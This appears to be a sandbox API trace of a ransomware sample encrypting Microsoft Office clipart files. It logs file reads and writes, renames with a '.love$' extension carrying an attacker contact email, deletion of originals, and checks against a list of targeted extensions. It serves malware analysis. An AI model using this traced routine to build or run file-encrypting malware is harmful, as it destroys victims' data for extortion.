0x0 [0119.990] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x5062, lpOverlapped=0x0) returned 1 [0119.992] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x5070, lpOverlapped=0x0) returned 1 [0119.994] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0119.994] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0119.994] SetEndOfFile (hFile=0x34c) returned 1 [0119.995] CloseHandle (hObject=0x34c) returned 1 [0119.999] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.999] SetEndOfFile (hFile=0x364) returned 1 [0120.000] CloseHandle (hObject=0x364) returned 1 [0120.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0120.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.001] lstrlenW (lpString=".doc") returned 4 [0120.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.001] lstrlenW (lpString=".docx") returned 5 [0120.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.001] lstrlenW (lpString=".pdf") returned 4 [0120.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.001] lstrlenW (lpString=".xls") returned 4 [0120.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.001] lstrlenW (lpString=".xlsx") returned 5 [0120.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.001] lstrlenW (lpString=".ppt") returned 4 [0120.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.001] lstrlenW (lpString=".zip") returned 4 [0120.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.002] lstrlenW (lpString=".rar") returned 4 [0120.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.002] lstrlenW (lpString=".bz2") returned 4 [0120.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.002] lstrlenW (lpString=".7z") returned 3 [0120.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.002] lstrlenW (lpString=".dbf") returned 4 [0120.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.002] lstrlenW (lpString=".1cd") returned 4 [0120.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.002] lstrlenW (lpString=".jpg") returned 4 [0120.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.002] lstrlenW (lpString=".doc") returned 4 [0120.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.002] lstrlenW (lpString=".docx") returned 5 [0120.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.002] lstrlenW (lpString=".pdf") returned 4 [0120.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.002] lstrlenW (lpString=".xls") returned 4 [0120.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.002] lstrlenW (lpString=".xlsx") returned 5 [0120.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.002] lstrlenW (lpString=".ppt") returned 4 [0120.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.003] lstrlenW (lpString=".zip") returned 4 [0120.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.003] lstrlenW (lpString=".rar") returned 4 [0120.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.003] lstrlenW (lpString=".bz2") returned 4 [0120.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.003] lstrlenW (lpString=".7z") returned 3 [0120.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.003] lstrlenW (lpString=".dbf") returned 4 [0120.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.003] lstrlenW (lpString=".1cd") returned 4 [0120.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0120.003] lstrlenW (lpString=".jpg") returned 4 [0120.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.003] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.003] lstrlenW (lpString="AN00914_.WMF") returned 12 [0120.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0120.004] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=10832) returned 1 [0120.004] CloseHandle (hObject=0x364) returned 1 [0120.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0120.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0120.004] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.005] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0120.005] GetLastError () returned 0x0 [0120.005] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x2a50, lpOverlapped=0x0) returned 1 [0120.411] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x2a60, lpOverlapped=0x0) returned 1 [0120.413] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.413] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.413] SetEndOfFile (hFile=0x34c) returned 1 [0120.413] CloseHandle (hObject=0x34c) returned 1 [0120.414] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.414] SetEndOfFile (hFile=0x364) returned 1 [0120.415] CloseHandle (hObject=0x364) returned 1 [0120.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0120.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.416] lstrlenW (lpString=".doc") returned 4 [0120.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.416] lstrlenW (lpString=".docx") returned 5 [0120.416] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.416] lstrlenW (lpString=".pdf") returned 4 [0120.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.417] lstrlenW (lpString=".xls") returned 4 [0120.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.417] lstrlenW (lpString=".xlsx") returned 5 [0120.417] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.417] lstrlenW (lpString=".ppt") returned 4 [0120.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.417] lstrlenW (lpString=".zip") returned 4 [0120.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.417] lstrlenW (lpString=".rar") returned 4 [0120.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.417] lstrlenW (lpString=".bz2") returned 4 [0120.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.417] lstrlenW (lpString=".7z") returned 3 [0120.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.417] lstrlenW (lpString=".dbf") returned 4 [0120.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.417] lstrlenW (lpString=".1cd") returned 4 [0120.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.417] lstrlenW (lpString=".jpg") returned 4 [0120.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.417] lstrlenW (lpString=".doc") returned 4 [0120.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.418] lstrlenW (lpString=".docx") returned 5 [0120.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.418] lstrlenW (lpString=".pdf") returned 4 [0120.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.418] lstrlenW (lpString=".xls") returned 4 [0120.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.418] lstrlenW (lpString=".xlsx") returned 5 [0120.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.418] lstrlenW (lpString=".ppt") returned 4 [0120.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.418] lstrlenW (lpString=".zip") returned 4 [0120.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.418] lstrlenW (lpString=".rar") returned 4 [0120.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.418] lstrlenW (lpString=".bz2") returned 4 [0120.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.418] lstrlenW (lpString=".7z") returned 3 [0120.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.418] lstrlenW (lpString=".dbf") returned 4 [0120.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.418] lstrlenW (lpString=".1cd") returned 4 [0120.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0120.418] lstrlenW (lpString=".jpg") returned 4 [0120.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.419] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.419] lstrlenW (lpString="AN02122_.WMF") returned 12 [0120.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0120.420] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=7540) returned 1 [0120.420] CloseHandle (hObject=0x364) returned 1 [0120.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0120.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0120.420] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.420] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0120.421] GetLastError () returned 0x0 [0120.421] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0120.422] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0120.424] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.424] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.424] SetEndOfFile (hFile=0x34c) returned 1 [0120.424] CloseHandle (hObject=0x34c) returned 1 [0120.425] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.425] SetEndOfFile (hFile=0x364) returned 1 [0120.426] CloseHandle (hObject=0x364) returned 1 [0120.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0120.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.427] lstrlenW (lpString=".doc") returned 4 [0120.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.427] lstrlenW (lpString=".docx") returned 5 [0120.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.427] lstrlenW (lpString=".pdf") returned 4 [0120.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.427] lstrlenW (lpString=".xls") returned 4 [0120.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.427] lstrlenW (lpString=".xlsx") returned 5 [0120.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.427] lstrlenW (lpString=".ppt") returned 4 [0120.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.427] lstrlenW (lpString=".zip") returned 4 [0120.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.427] lstrlenW (lpString=".rar") returned 4 [0120.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.427] lstrlenW (lpString=".bz2") returned 4 [0120.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.427] lstrlenW (lpString=".7z") returned 3 [0120.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.427] lstrlenW (lpString=".dbf") returned 4 [0120.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.427] lstrlenW (lpString=".1cd") returned 4 [0120.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.428] lstrlenW (lpString=".jpg") returned 4 [0120.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.428] lstrlenW (lpString=".doc") returned 4 [0120.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.428] lstrlenW (lpString=".docx") returned 5 [0120.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.428] lstrlenW (lpString=".pdf") returned 4 [0120.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.428] lstrlenW (lpString=".xls") returned 4 [0120.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.428] lstrlenW (lpString=".xlsx") returned 5 [0120.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.428] lstrlenW (lpString=".ppt") returned 4 [0120.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.428] lstrlenW (lpString=".zip") returned 4 [0120.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.428] lstrlenW (lpString=".rar") returned 4 [0120.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.428] lstrlenW (lpString=".bz2") returned 4 [0120.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.428] lstrlenW (lpString=".7z") returned 3 [0120.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.428] lstrlenW (lpString=".dbf") returned 4 [0120.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.428] lstrlenW (lpString=".1cd") returned 4 [0120.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0120.429] lstrlenW (lpString=".jpg") returned 4 [0120.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.429] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.429] lstrlenW (lpString="AN02559_.WMF") returned 12 [0120.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0120.430] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6632) returned 1 [0120.430] CloseHandle (hObject=0x364) returned 1 [0120.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0120.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0120.430] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.430] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0120.431] GetLastError () returned 0x0 [0120.431] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x19e8, lpOverlapped=0x0) returned 1 [0120.433] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0120.434] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, 